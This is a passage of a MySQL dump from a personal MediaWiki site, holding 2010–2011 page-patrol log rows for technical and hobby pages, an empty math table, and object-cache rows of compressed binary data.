,('patrol','patrol','20101102203121',1,0,'Advanced_Format_Hard_Drives','','1211\n1210\n1',1134,0,'',NULL),('patrol','patrol','20101102212047',1,0,'Advanced_Format_Hard_Drives','','1212\n1211\n1',1135,0,'',NULL),('patrol','patrol','20101103175643',1,0,'Redmine_Project_Management','','1213\n1193\n1',1136,0,'',NULL),('patrol','patrol','20101103175818',1,0,'Redmine_Project_Management','','1214\n1213\n1',1137,0,'',NULL),('patrol','patrol','20101103175911',1,0,'Redmine_Project_Management','','1215\n1214\n1',1138,0,'',NULL),('patrol','patrol','20101103180113',1,0,'Redmine_Project_Management','','1216\n1215\n1',1139,0,'',NULL),('patrol','patrol','20101103180453',1,0,'Redmine_Project_Management','','1217\n1216\n1',1140,0,'',NULL),('patrol','patrol','20101103180507',1,0,'Redmine_Project_Management','','1218\n1217\n1',1141,0,'',NULL),('patrol','patrol','20101103182142',1,0,'Redmine_Project_Management','','1219\n1218\n1',1142,0,'',NULL),('patrol','patrol','20101103201721',1,0,'Drive_Performance_Tests','','1220\n1142\n1',1143,0,'',NULL),('patrol','patrol','20101103202149',1,0,'Redmine_Project_Management','','1221\n1219\n1',1144,0,'',NULL),('patrol','patrol','20101104143407',1,0,'Tomcat_Installation','','1222\n670\n1',1145,0,'',NULL),('patrol','patrol','20101104143439',1,0,'Tomcat_Installation','','1223\n1222\n1',1146,0,'',NULL),('patrol','patrol','20101104193409',1,0,'Advanced_Format_Hard_Drives','','1224\n1212\n1',1147,0,'',NULL),('patrol','patrol','20101104210513',1,0,'Large_Partitons_in_Linux','','1225\n1202\n1',1148,0,'',NULL),('patrol','patrol','20101105142733',1,0,'Redmine_Project_Management','','1226\n1221\n1',1149,0,'',NULL),('patrol','patrol','20101105172038',1,0,'Redmine_Project_Management','','1227\n1226\n1',1150,0,'',NULL),('patrol','patrol','20101105185744',1,0,'Redmine_Project_Management','','1228\n1227\n1',1151,0,'',NULL),('patrol','patrol','20101105185903',1,0,'Redmine_Project_Management','','1229\n1228\n1',1152,0,'',NULL),('patrol','patrol','20101105190000',1,0,'Redmine_Project_Management','','1230\n1229\n1',1153,0,'',NULL),('patrol','patrol','20101105202314',1,0,'Redmine_Project_Management','','1231\n1230\n1',1154,0,'',NULL),('patrol','patrol','20101105202647',1,0,'Redmine_Project_Management','','1232\n1231\n1',1155,0,'',NULL),('patrol','patrol','20101106223722',1,0,'High_Performance_Computing_-_HPC','','1233\n0\n1',1156,0,'',NULL),('patrol','patrol','20101106232122',1,0,'64-Bit_Linux_Tips','','1234\n0\n1',1157,0,'',NULL),('patrol','patrol','20101109142606',1,0,'Diving_Sites_and_Operators','','1235\n1042\n1',1158,0,'',NULL),('patrol','patrol','20101109174140',1,0,'Subversion','','1236\n1190\n1',1159,0,'',NULL),('patrol','patrol','20101109185439',1,0,'Network_Booting_-_gPXE','','1237\n0\n1',1160,0,'',NULL),('patrol','patrol','20101109190126',1,0,'Network_Booting_-_gPXE','','1238\n1237\n1',1161,0,'',NULL),('patrol','patrol','20101111174746',1,0,'Network_Booting_-_gPXE','','1239\n1238\n1',1162,0,'',NULL),('patrol','patrol','20101111195834',1,0,'Ruby_on_Rails','','1240\n0\n1',1163,0,'',NULL),('patrol','patrol','20101112133228',1,0,'Linux_Uninterruptible_Power_Supply','','1241\n0\n1',1164,0,'',NULL),('patrol','patrol','20101114002454',1,0,'Suse_10.3_Network_Install','','1242\n236\n1',1165,0,'',NULL),('patrol','patrol','20101114221014',1,0,'DLNA_and_Mediatomb','','1243\n819\n1',1166,0,'',NULL),('patrol','patrol','20101115183910',1,0,'Rack_Management_Tools','','1244\n0\n1',1167,0,'',NULL),('patrol','patrol','20101116205626',1,0,'CUDA_Applications','','1245\n1115\n1',1168,0,'',NULL),('patrol','patrol','20101117163517',1,0,'Interactive_Data_Language_-_IDL','','1246\n0\n1',1169,0,'',NULL),('patrol','patrol','20101117195545',1,0,'Interactive_Data_Language_-_IDL','','1247\n1246\n1',1170,0,'',NULL),('patrol','patrol','20101117200540',1,0,'Interactive_Data_Language_-_IDL','','1248\n1247\n1',1171,0,'',NULL),('patrol','patrol','20101117200911',1,0,'Interactive_Data_Language_-_IDL','','1249\n1248\n1',1172,0,'',NULL),('patrol','patrol','20101118143739',1,0,'Interactive_Data_Language_-_IDL','','1250\n1249\n1',1173,0,'',NULL),('patrol','patrol','20101118143840',1,0,'Interactive_Data_Language_-_IDL','','1251\n1250\n1',1174,0,'',NULL),('patrol','patrol','20101118205404',1,0,'Parallel_Compression_Tools','','1252\n0\n1',1175,0,'',NULL),('patrol','patrol','20101121145028',1,0,'Nvidia_CUDA','','1253\n1108\n1',1176,0,'',NULL),('patrol','patrol','20101121152538',1,0,'Nvidia_CUDA','','1254\n1253\n1',1177,0,'',NULL),('patrol','patrol','20101122000658',1,0,'Nvidia_CUDA','','1255\n1254\n1',1178,0,'',NULL),('patrol','patrol','20101123002526',1,0,'Bash_Tricks','','1256\n1200\n1',1179,0,'',NULL),('patrol','patrol','20101123134924',1,0,'Correcting_Perl_Module_Dependencies_Fail','','1257\n203\n1',1180,0,'',NULL),('patrol','patrol','20101123135056',1,0,'Correcting_Perl_Module_Dependencies_Fail','','1258\n1257\n1',1181,0,'',NULL),('patrol','patrol','20101129125040',1,0,'Redmine_Project_Management','','1259\n1232\n1',1182,0,'',NULL),('patrol','patrol','20101129130312',1,0,'Linux_Uninterruptible_Power_Supply','','1260\n1241\n1',1183,0,'',NULL),('patrol','patrol','20101129130934',1,0,'Linux_Uninterruptible_Power_Supply','','1261\n1260\n1',1184,0,'',NULL),('patrol','patrol','20101129131030',1,0,'Linux_Uninterruptible_Power_Supply','','1262\n1261\n1',1185,0,'',NULL),('patrol','patrol','20101129150201',1,0,'Interactive_Data_Language_-_IDL','','1263\n1251\n1',1186,0,'',NULL),('patrol','patrol','20101130132843',1,0,'Tools_for_Manipulating_PDFs','','1264\n0\n1',1187,0,'',NULL),('patrol','patrol','20101207004815',1,0,'Kernel_Compiling_Tips','','1265\n958\n1',1188,0,'',NULL),('patrol','patrol','20101207013325',1,0,'Virtualbox_Tips','','1266\n934\n1',1189,0,'',NULL),('patrol','patrol','20101207014303',1,0,'MythTV_Project','','1267\n0\n1',1190,0,'',NULL),('patrol','patrol','20101208020947',1,0,'Neverwinter_Nights_on_Linux','','1268\n0\n1',1191,0,'',NULL),('patrol','patrol','20101208032232',1,0,'Neverwinter_Nights_on_Linux','','1269\n1268\n1',1192,0,'',NULL),('patrol','patrol','20101208032518',1,0,'Neverwinter_Nights_on_Linux','','1270\n1269\n1',1193,0,'',NULL),('patrol','patrol','20101208032650',1,0,'Neverwinter_Nights_on_Linux','','1271\n1270\n1',1194,0,'',NULL),('patrol','patrol','20101208153536',1,0,'SSH_Over_X','','1272\n39\n1',1195,0,'',NULL),('patrol','patrol','20101209190439',1,0,'Linux_Package_Managers','','1273\n1185\n1',1196,0,'',NULL),('patrol','patrol','20101209192522',1,0,'Neverwinter_Nights_on_Linux','','1274\n1271\n1',1197,0,'',NULL),('patrol','patrol','20101210131947',1,0,'Netcat_Tricks','','1275\n0\n1',1198,0,'',NULL),('patrol','patrol','20101212141756',1,0,'DNS_Domain_Name_Service_Troubleshooting','','1276\n695\n1',1199,0,'',NULL),('patrol','patrol','20101212171707',1,0,'Machine_Check_Error_Log_-_mcelog','','1277\n0\n1',1200,0,'',NULL),('patrol','patrol','20101214175421',1,0,'University_of_Tennessee','','1278\n1147\n1',1201,0,'',NULL),('patrol','patrol','20101216161208',1,0,'Virt-manager_Tips','','1279\n1131\n1',1202,0,'',NULL),('patrol','patrol','20101216162641',1,0,'Virt-manager_Tips','','1280\n1279\n1',1203,0,'',NULL),('patrol','patrol','20101216231317',1,0,'Linux_Package_Managers','','1281\n1273\n1',1204,0,'',NULL),('patrol','patrol','20101216232026',1,0,'Kernel_Compiling_Tips','','1282\n1265\n1',1205,0,'',NULL),('patrol','patrol','20101216234454',1,0,'Grsecurity_Kernel_Hardening','','1283\n0\n1',1206,0,'',NULL),('patrol','patrol','20101216235758',1,0,'Desktop_Performance_Kernel_Patch','','1284\n0\n1',1207,0,'',NULL),('patrol','patrol','20101217000242',1,0,'Nvidia_CUDA','','1285\n1255\n1',1208,0,'',NULL),('patrol','patrol','20101217000853',1,0,'Grsecurity_Kernel_Hardening','','1286\n1283\n1',1209,0,'',NULL),('patrol','patrol','20101217000913',1,0,'Grsecurity_Kernel_Hardening','','1287\n1286\n1',1210,0,'',NULL),('patrol','patrol','20101217001050',1,0,'Grsecurity_Kernel_Hardening','','1288\n1287\n1',1211,0,'',NULL),('patrol','patrol','20101217002350',1,0,'OpenSuse_Configurations','','1289\n0\n1',1212,0,'',NULL),('patrol','patrol','20101217130622',1,0,'Guitar_Playing_Stuff','','1290\n0\n1',1213,0,'',NULL),('patrol','patrol','20101217155027',1,0,'Guitar_Playing_Stuff','','1291\n1290\n1',1214,0,'',NULL),('patrol','patrol','20101217155352',1,0,'Guitar_Playing_Stuff','','1292\n1291\n1',1215,0,'',NULL),('patrol','patrol','20101217155913',1,0,'Guitar_Playing_Stuff','','1293\n1292\n1',1216,0,'',NULL),('patrol','patrol','20101217165610',1,0,'Guitar_Playing_Stuff','','1294\n1293\n1',1217,0,'',NULL),('patrol','patrol','20101217221431',1,0,'Guitar_Playing_Stuff','','1295\n1294\n1',1218,0,'',NULL),('patrol','patrol','20101217221723',1,0,'Guitar_Playing_Stuff','','1296\n1295\n1',1219,0,'',NULL),('patrol','patrol','20101219140048',1,0,'St_Pete_College_Compnet_AS_Classes','','1297\n1072\n1',1220,0,'',NULL),('patrol','patrol','20101219152626',1,0,'Guitar_Playing_Stuff','','1298\n1296\n1',1221,0,'',NULL),('patrol','patrol','20101219225102',5,0,'Home_Design_Ideas','','1299\n1161\n1',1222,0,'',NULL),('patrol','patrol','20101220133714',1,0,'Dell_OpenManage_Server_Administrator','','1300\n812\n1',1223,0,'',NULL),('patrol','patrol','20101220135253',1,0,'Dell_OpenManage_Server_Administrator','','1301\n1300\n1',1224,0,'',NULL),('patrol','patrol','20101220135305',1,0,'Dell_OpenManage_Server_Administrator','','1302\n1301\n1',1225,0,'',NULL),('patrol','patrol','20101220184326',1,0,'Dell_OpenManage_Server_Administrator','','1303\n1302\n1',1226,0,'',NULL),('patrol','patrol','20101220184642',1,0,'Dell_OpenManage_Server_Administrator','','1304\n1303\n1',1227,0,'',NULL),('patrol','patrol','20101220185642',1,0,'Dell_OpenManage_Server_Administrator','','1305\n1304\n1',1228,0,'',NULL),('patrol','patrol','20101220190045',1,0,'Dell_OpenManage_Server_Administrator','','1306\n1305\n1',1229,0,'',NULL),('patrol','patrol','20101220190114',1,0,'Dell_OpenManage_Server_Administrator','','1307\n1306\n1',1230,0,'',NULL),('patrol','patrol','20101220190332',1,0,'Dell_OpenManage_Server_Administrator','','1308\n1307\n1',1231,0,'',NULL),('patrol','patrol','20101220190352',1,0,'Dell_OpenManage_Server_Administrator','','1309\n1308\n1',1232,0,'',NULL),('patrol','patrol','20101220191157',1,0,'Dell_OpenManage_Server_Administrator','','1310\n1309\n1',1233,0,'',NULL),('patrol','patrol','20101220192235',1,0,'Dell_OpenManage_Server_Administrator','','1311\n1310\n1',1234,0,'',NULL),('patrol','patrol','20101220192724',1,0,'Dell_OpenManage_Server_Administrator','','1312\n1311\n1',1235,0,'',NULL),('patrol','patrol','20101220200431',1,0,'MegaRAID_CLI','','1313\n0\n1',1236,0,'',NULL),('patrol','patrol','20101220200741',1,0,'MegaRAID_CLI','','1314\n1313\n1',1237,0,'',NULL),('patrol','patrol','20101220205145',1,0,'Dell_OpenManage_Server_Administrator','','1315\n1312\n1',1238,0,'',NULL),('patrol','patrol','20101220205316',1,0,'Dell_OpenManage_Server_Administrator','','1316\n1315\n1',1239,0,'',NULL),('patrol','patrol','20101221192137',1,0,'Virt-manager_Tips','','1317\n1280\n1',1240,0,'',NULL),('patrol','patrol','20101221201447',1,0,'Interesting_Blogs','','1318\n0\n1',1241,0,'',NULL),('patrol','patrol','20101221202339',1,0,'Contact_Management_Solutions','','1319\n0\n1',1242,0,'',NULL),('patrol','patrol','20101221202730',1,0,'Nvidia_CUDA','','1320\n1285\n1',1243,0,'',NULL),('patrol','patrol','20101221202806',1,0,'Nvidia_CUDA','','1321\n1320\n1',1244,0,'',NULL),('patrol','patrol','20101221203505',1,0,'Phpchain_Password_Manager','','1322\n0\n1',1245,0,'',NULL),('patrol','patrol','20101221205314',1,0,'General_Hacking','','1323\n0\n1',1246,0,'',NULL),('patrol','patrol','20101221210011',1,0,'Grsecurity_Kernel_Hardening','','1324\n1288\n1',1247,0,'',NULL),('patrol','patrol','20101221210142',1,0,'Oak_Ridge_National_Laboratory','','1325\n1114\n1',1248,0,'',NULL),('patrol','patrol','20101221211847',1,0,'Rack_Management_Software','','1326\n0\n1',1249,0,'',NULL),('patrol','patrol','20101221212107',1,0,'Binary_Search_Tree','','1327\n0\n1',1250,0,'',NULL),('patrol','patrol','20101221212452',1,0,'Network_Booting_-_gPXE','','1328\n1239\n1',1251,0,'',NULL),('patrol','patrol','20101222183704',1,0,'DNSSEC_DNS_Security_Extenstions','','1329\n0\n1',1252,0,'',NULL),('patrol','patrol','20101222183805',1,0,'DNSSEC_DNS_Security_Extenstions','','1330\n1329\n1',1253,0,'',NULL),('patrol','patrol','20101227194426',1,0,'MegaRAID_CLI','','1331\n1314\n1',1254,0,'',NULL),('patrol','patrol','20101229153756',1,0,'Pidgin_IM_Client','','1332\n0\n1',1255,0,'',NULL),('patrol','patrol','20101229154242',1,0,'Avant_Window_Navigator','','1333\n0\n1',1256,0,'',NULL),('patrol','patrol','20101229162439',1,0,'MegaRAID_CLI','','1334\n1331\n1',1257,0,'',NULL),('patrol','patrol','20101229162702',1,0,'MegaRAID_CLI','','1335\n1334\n1',1258,0,'',NULL),('patrol','patrol','20101230184054',1,0,'SSH_Tunnels_and_Port_Forwarding','','1336\n0\n1',1259,0,'',NULL),('patrol','patrol','20101231172206',1,0,'Rock_Band_and_Guitar_Hero','','1337\n0\n1',1260,0,'',NULL),('patrol','patrol','20101231172524',1,0,'Rock_Band_and_Guitar_Hero','','1338\n1337\n1',1261,0,'',NULL),('patrol','patrol','20101231172827',1,0,'Rock_Band_and_Guitar_Hero','','1339\n1338\n1',1262,0,'',NULL),('patrol','patrol','20101231173726',1,0,'Rock_Band_and_Guitar_Hero','','1340\n1339\n1',1263,0,'',NULL),('patrol','patrol','20110102162749',1,0,'Guitar_Playing_Stuff','','1341\n1298\n1',1264,0,'',NULL),('patrol','patrol','20110103162911',1,0,'Screen_Tricks','','1342\n813\n1',1265,0,'',NULL),('patrol','patrol','20110103163003',1,0,'Screen_Tricks','','1343\n1342\n1',1266,0,'',NULL),('patrol','patrol','20110103163658',1,0,'C++_Programming_Basics','','1344\n917\n1',1267,0,'',NULL),('patrol','patrol','20110104134823',1,0,'Mirror_FTP_Tool','','1345\n0\n1',1268,0,'',NULL),('patrol','patrol','20110104142021',1,0,'Oak_Ridge_National_Laboratory','','1346\n1325\n1',1269,0,'',NULL),('patrol','patrol','20110104143432',1,0,'Oak_Ridge_National_Laboratory','','1347\n1346\n1',1270,0,'',NULL),('patrol','patrol','20110104180356',1,0,'Mirror_FTP_Tool','','1348\n1345\n1',1271,0,'',NULL),('patrol','patrol','20110106212200',1,0,'Bbcp_Transfer_Utility','','1349\n0\n1',1272,0,'',NULL),('patrol','patrol','20110107142525',1,0,'Bbcp_Transfer_Utility','','1350\n1349\n1',1273,0,'',NULL),('patrol','patrol','20110108190319',1,0,'Guitar_Playing_Stuff','','1351\n1341\n1',1274,0,'',NULL),('patrol','patrol','20110108190559',1,0,'Guitar_Playing_Stuff','','1352\n1351\n1',1275,0,'',NULL),('patrol','patrol','20110108190639',1,0,'Guitar_Playing_Stuff','','1353\n1352\n1',1276,0,'',NULL),('patrol','patrol','20110108190830',1,0,'Guitar_Playing_Stuff','','1354\n1353\n1',1277,0,'',NULL),('patrol','patrol','20110109163607',1,0,'Guitar_Playing_Stuff','','1355\n1354\n1',1278,0,'',NULL),('patrol','patrol','20110109163707',1,0,'Guitar_Playing_Stuff','','1356\n1355\n1',1279,0,'',NULL),('patrol','patrol','20110110144151',1,0,'Guitar_Playing_Stuff','','1357\n1356\n1',1280,0,'',NULL),('patrol','patrol','20110110150352',1,0,'Rdesktop_Tricks','','1358\n0\n1',1281,0,'',NULL),('patrol','patrol','20110111131455',1,0,'Bbcp_Transfer_Utility','','1359\n1350\n1',1282,0,'',NULL),('patrol','patrol','20110111141408',1,0,'Cetus_Source-to-Source_Compiler','','1360\n0\n1',1283,0,'',NULL),('patrol','patrol','20110111155324',1,0,'SSH_Over_X','','1361\n1272\n1',1284,0,'',NULL),('patrol','patrol','20110111161515',5,0,'Home_Design_Ideas','','1362\n1299\n1',1285,0,'',NULL),('patrol','patrol','20110111181949',1,0,'Kickstart_Scripting','','1363\n0\n1',1286,0,'',NULL),('patrol','patrol','20110111182005',1,0,'Kickstart_Scripting','','1364\n1363\n1',1287,0,'',NULL),('patrol','patrol','20110112175148',1,0,'Screen_Tricks','','1365\n1343\n1',1288,0,'',NULL),('patrol','patrol','20110112183730',1,0,'DNSSEC_Tools','','1366\n0\n1',1289,0,'',NULL),('patrol','patrol','20110112185804',1,0,'Bbcp_Transfer_Utility','','1367\n1359\n1',1290,0,'',NULL),('patrol','patrol','20110112190112',1,0,'Reading_List','','1368\n1065\n1',1291,0,'',NULL),('patrol','patrol','20110113140803',1,0,'Network_Booting_-_gPXE','','1369\n1328\n1',1292,0,'',NULL),('patrol','patrol','20110113181534',1,0,'Citrix_XenApp','','1370\n0\n1',1293,0,'',NULL),('patrol','patrol','20110113214730',1,0,'MODIS_Big_Data_System','','1371\n0\n1',1294,0,'',NULL),('patrol','patrol','20110113215835',1,0,'MODIS_Big_Data_System','','1372\n1371\n1',1295,0,'',NULL),('patrol','patrol','20110115155741',1,0,'Cups-pdf_Print_Driver','','1373\n815\n1',1296,0,'',NULL),('patrol','patrol','20110115164823',1,0,'Cups-pdf_Print_Driver','','1374\n1373\n1',1297,0,'',NULL),('patrol','patrol','20110117155334',1,0,'Contact_Management_Solutions','','1375\n1319\n1',1298,0,'',NULL),('patrol','patrol','20110117165637',1,0,'Virtualbox_Tips','','1376\n1266\n1',1299,0,'',NULL),('patrol','patrol','20110117194244',1,0,'Virtualbox_Tips','','1377\n1376\n1',1300,0,'',NULL),('patrol','patrol','20110122030843',1,0,'Mod_security_Configuration','','1378\n0\n1',1301,0,'',NULL),('patrol','patrol','20110122160035',1,0,'Webserver_Security_Tools','','1379\n0\n1',1302,0,'WikiAdmin',392),('patrol','patrol','20110122195529',1,0,'Mod_security_Configuration','','1380\n1378\n1',1303,0,'WikiAdmin',391),('patrol','patrol','20110122195928',1,0,'Mod_security_Configuration','','1381\n1380\n1',1304,0,'WikiAdmin',391),('patrol','patrol','20110122200534',1,0,'Mod_security_Configuration','','1382\n1381\n1',1305,0,'WikiAdmin',391);
/*!40000 ALTER TABLE `mw_logging` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_math`
--

DROP TABLE IF EXISTS `mw_math`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_math` (
  `math_inputhash` varbinary(16) NOT NULL default '',
  `math_outputhash` varbinary(16) NOT NULL default '',
  `math_html_conservativeness` tinyint(4) NOT NULL default '0',
  `math_html` text,
  `math_mathml` text,
  UNIQUE KEY `math_inputhash` (`math_inputhash`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_math`
--

LOCK TABLES `mw_math` WRITE;
/*!40000 ALTER TABLE `mw_math` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_math` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_objectcache`
--

DROP TABLE IF EXISTS `mw_objectcache`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_objectcache` (
  `keyname` varbinary(255) NOT NULL default '',
  `value` mediumblob,
  `exptime` datetime default NULL,
  UNIQUE KEY `keyname` (`keyname`),
  KEY `exptime` (`exptime`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_objectcache`
--

LOCK TABLES `mw_objectcache` WRITE;
/*!40000 ALTER TABLE `mw_objectcache` DISABLE KEYS */;
INSERT INTO `mw_objectcache` VALUES ('wikidb-mw_:messages:en','K2.Rr*V.2RR\0VJaA~J֙Vֵ\0','2011-01-23 04:26:07'),('wikidb-mw_:pcache:idhash:1-0!1!0!!en!2','W[o:D\\*AmE|NqXD[H@RU|]=i-}COh!CG4$*G.hZͦ+GY\r-sIot?Xz2WQ=(?$	6 >sR{%bK|JK˕1}6i෢ ++7vKf!uYˌXϭ796a$cNrd\\Lun0Z17NaĀ\ri<Ԋ*QUbqL%ͩ[ZcRC|2pC9H@j\'䜤)R2Ӈ peCKMWzml)2\ZYx6)|˨VA=H%2Ӧld9\Z[>ݙlO7ʥK>IB=H(ZYQ\Z֑6FJIXɅvȢ>5mMݦ\\p 7R]Ry#5} ܕ[\nʭ\\_EU2\Z5M3ٟC\n(-sW:@Z\ryNU0 NGb\\Jǅr{4j6יJt.;5ԙ|dTGQV@P\0LsRCE[SaJ֦F=}M7ZT_sWWўNZ;xF6moܸd>Ob\\{f\'=\0E+.u\'thvhOgI5z[a\nd\"y^}겋\\}L9]n\"@k_NMP=$v\nyp=hqcam@%;6PE8*1Յј-bȑ\0Cc7mneQ%*\\>,.Jxf0־A37\'xuU\'Sfmp4@jX?[J3ƸAՄNUGk;NΣcdXct~{e3Tvu{c陎joZif9h1~[6޵FOi\'|9p];wE6z2a FC!t Jb\ZzӓzeXfx5<R\0vm2I:m@>V<&N\ZLN)\Z&W/	IzKazw^?VR;UhCE;c6va5O(Ӄ܆^VO@JT\'`|ON>,Mq<\'I<>?;\'6_|eЛ\ZME\"\'v\07R; `:݇\"{\'6*.Wɘ5yv혯ϣ\r;{;/:ȧ/;;˰Ë`wg7IPOǯ/_vvU<orp>(wWnN{ؗ3~jt_$P_$0[:%/H	ON\"N~twmzy]C[qڷ[IP\0򣰺ig)d^r(oOW g8wGRc;ܪvggmMn?lطQekqca-9k\'-ps|Jx	go/j{v7S:w<Nθs','2011-01-23 21:05:45'),('wikidb-mw_:pcache:idhash:1-0!1!0!!en!2!edit=0','W[o8g\\( mESS@K\rE\n$USw(Ssx߹c:R8/:TuHiŧiRSH<N./dVgkş\'3[J\nVwLp6Z,|U(O-^}%ޑ\0!kZIJ@\rANhr^vd7׳.k-Ij녳/\n(Y0y7TH? .2[()>U`69QQ%\nX|O5D/bGkk\nA\Z](XCnvyH7PȬ,,cQCfHkkj?xJkZ#.yصVxe6֕\"(k*JăX!2m6JӀ)S?j>*Y G$C6ڴzvdѣ\r#xm<J$9pZȆvnC]5+ff\rc\"\'/e\"?qF\Za8nfdrG3AJGiAR[>ZmB_\'\08T׉ˀL:o)2*Ss7Q%DYA2+ʠ9WmN*c6\Z@D\ZhpxX\nZ^\':utj=65Rʶ1㾒<z\\/O5\0ݬ97Jӣhރ<$%}֚]ik^֌,CEDiO!9:@k/_NL=%ܸm\0e-@!\r:P:/:-bȞrCmR\\D\n̅W*=,>JXjУ6A=7+s;[lk\'i\'sN;و`@XoVL_r.Z[?\ZgiMȇ0MͿP{\'(R˹,\Zc\0L! DlԋX^ov2PlK0<]-,-dl.)VNJ8-yʧQL`wx4_Oi$%:6TI̪ǌvǬ7-G]EzШPУEA<U$*//`|29Hs2=.r=n$.+\'d:Ekr0\Z}S\'W\"_6~n8\"fweG[%WtǼq/sރ&{[V<7O߀74RN3}Vﭝ_T:&nz:L~ݛ%ؿ\"?2?9v(>um?T:Ugg5Nݣq1IaGA{^e,e#/H-tgwh ˗l3Qpi9p>`R2&3dY9bt5X9M:=Lggl7Zz8%n6؀hMd^Xqympb_	JkonZRZZ,5#Ʈ	ttzvv\0','2011-01-23 05:34:53'),('wikidb-mw_:pcache:idhash:304-0!1!0!!en!2!edit=0',']{s8߿)jcϘe%y&}kgHH\"iG3^S]wCS{n2I\0ݍF\rlvF;^*yzgI:r,.l݃΋$eQ녓?78;wyRG/G/<Yּst\"Ǚ|<~\"~#eQrh/b˅<6OӓOL*/sVȐ#lxx7\n0~:YSй|s\ZU\Z.LMFVgc|q?%i?9bS}mN]Ji,3/vD,0S)s~wd2jZu1vuZLdjJO/C~Fn0TV(n7s/onn}9-nJa^swRt-5|vS?U ]ejro?q\0ݱ{̶銙f.z|NAo쐻Q4Lpvoqc˹\"`^^ud;ss]psgNݽX-u7֜{A|\0匬F4kMl!dƢGK69b{LLidh3&R7\"Y&ynNf<0R4?Lr>\"<˒ؾ	gt77́dx\ZCӔ{)^b*xto?8~ssc!J9S.±0yy6#h48if IaXd.9gr>w/X,a29xl#|Iab<M8~qg`6a^$xbM,Ь0/I-^M(B\0}1!mv~h%H$\"B8<bG1<\'C\rSM@ئ_0spiz\nEfKvtoI4O@8	IKE\n2~$_ZO65COYn@hPKX<䙄Ym<I@+\naMiFΊ!с Q!`l:9tC6C[ (aF]\"grxj0UuE3[8.4Y3^:P4Ȕ`i=Sr״ْBwb$w()p11˥:MSX,HS{-t]VjkMH2=#gs{I2hC\\\0\nCiĨ_*H#-L;cGczCSxn6q~xcEΦ~96i*0<\' %1\\$Gè%YW/eo]t|H`\"BZXŵL_,r\'ϛK竓P?,ӑ,.l-JT	\Zd$4:@Nӏ,74)z)l柠\ZN`#\0>XH9+a=4UrffB\ZE!k\"h(@,}# &Ih閑C(\"Ө:gSy*qDҤmx3q$\0  u2!0s\0wc\nxOƕ)wmN99~u1p0j\0Z*pWb+6T4ן=4#v*`yѹF:R^8v014Ҽns\n	I2 r3y\0ޖyrF!ꌌ6\0<JyTx!̮kL9ACB\\1,`&Ф SИ*Z>܁7XCjm弘\n*}`/qb{x(\\(9#`]6Ya|E}x,Y0%Ri9x#	e$%ϢGMw}	.Օ_x ?0?.- 4U= <\Z@USMAΰ\n \\.`f$qU,*h\"DF\r&RA>r<tУeC\0FmAф_攔|9p|z)3,1Oig	ه*@CpC#7\"kUY1N4\0\0/a?|ӘQCzsR/i8CC2ɚ}=ٻFC,pd\r{{r~뉟UƗܺ/0&~u]u)IQOs`VQ0Ȓ\0<iQpG/P?p`=e/[]׺*̆6&+894p&G8^7F\n\rcx8>F80v`u|*J\rMbѽ^Ӈ(($\nadwi$0<P\rpc,\r*8+Zk&\\?Wў.qc/Et:4s+jvI0$)	N/rB%镗*_%tD)5ڞ`UlZueGpQFcBEdXczF)Sպi1)*bu07iD*)C+JrD\0\rVeh]7!NjM-9	-\Z2鏗gg+NTR({X賫k\0YPfĸl.1Ph]n5&L%rR2/ą5\rrH,5yx3ݞQ{23&:j&h2QȚB5\"۪|1bCE\r*@`CGP\"\\FDL־fǴʔkio]|Q-[2*8]fN%%U8?oў&SEΎc+C|NG-8(gQR$0l_1[؝T<d-Ӑ`7uvqd0N>U#2\\Ձ\ZՅ\rC]ŕ*D`Ƹ@bsXvC@8Nzpb\Z.^3:@\'f<%pl/%nIElXT+r6*yzzjc?AC5q#Nb\nS!ŗĩN| MZ\"%u.VQ|\Z.R&Ɠu!̢<3O`Z1ŕ9ɪsra*p4fҼԀDm$P%i3K2\Zp4[\0\Z\Z pq@`bk,-\rz<&r{Uhz7}8Ӧy!\0PDʞBtɬ{lg:b\"%9\ZV/rW*\0+LvB7葖!#\ZקW*ӆ\"Tj,*\Zk p6\0wx@?[\0g).]j3/eu`=ŧ|x%,7-G̣!)@>K8|֑\r \'^@#Jb#Υ{B6\n3%sC@<ʐ%rqa5­@G\Z	M P4yZ*\"NOΉрS͟gsGrdv#E)=%n%7q8~)T	\"<\'\0Ƕos>n\Zp@61̈ą\"rBw}F^Y-/VZe$.n>\\D\\eVikc*T)@`)>lDDK\0-$T\rJl`j!c_GIϽxFN7*НKFFZ&j++^+<9	$&4VeAκ+x!׬iE(B>NVLzX߀`J	}0sIg9sv\n[s̞ўF*m2A\n7HS@ 99ܤ0Q:	ףe4ejL@:hi4d½P{9~c`(2+Jv FHX*BarRif{$i?O%\nb+0b֣\ZO=/o\Z+O\\\'<`\0K6侧jfDmWTlZ*}fvۢc\nz5!ŞҢ,ݴEIb2Q:m{-1h5fhv7ƞ>}e_D,SKZ.\'\'Xry\nIUj{Jde<U7$l+*5TpU MR`-bߎ/4E\"XvXj)zvCZsO}`xF4`F)XFJ0w\r,Sc|k`n㨪ʠ]CLs.ݲG\n\0F\Z\r\0}1 7麚Nim0H+:ޘz\0\n*s&s@29m[\r32ZSzyb6<.#:Po>Z<fIgq@Z:]D%Pe?[-.\n-k?gJŊ?V7\0fH+3L@UQOy:34T|?S|?{]wA1wi5Tx\Z!(ڋ$\nN:<nj֒%L*YwzpyJϝ&Xq<{(xp@_ ֟]rCC,y:ڹ<aX\'\\׵.~4@;6+bB5\rzhoD\Zb EWU!\Zx(Kvkd#Afb+ǒDAݔ&@`Lh_VD\Zv\0ss*sϠ*y#E>\0ěuwV8]%<`sfInYҺ&-@tVdZHqR2}G/#agKT@k,7a7ҹQ5V:k0m*[A+_Wc\nN$і*k.h<RRT2ZJ=kgz!Svzf\nF&	Q\'uN.Ιx]O<fq3\rs4n_\\b4qFb;Gks2I{e;7gp*^\'5$L_@:v2oQ%BW=C֒*ٯ?\'3RHwS~Fb$m,ƛ,2\\3,r	B\n.TLQC,#O\nrwɄ<ӃdJ bZ_S\0#jò\nawL\"o	m\r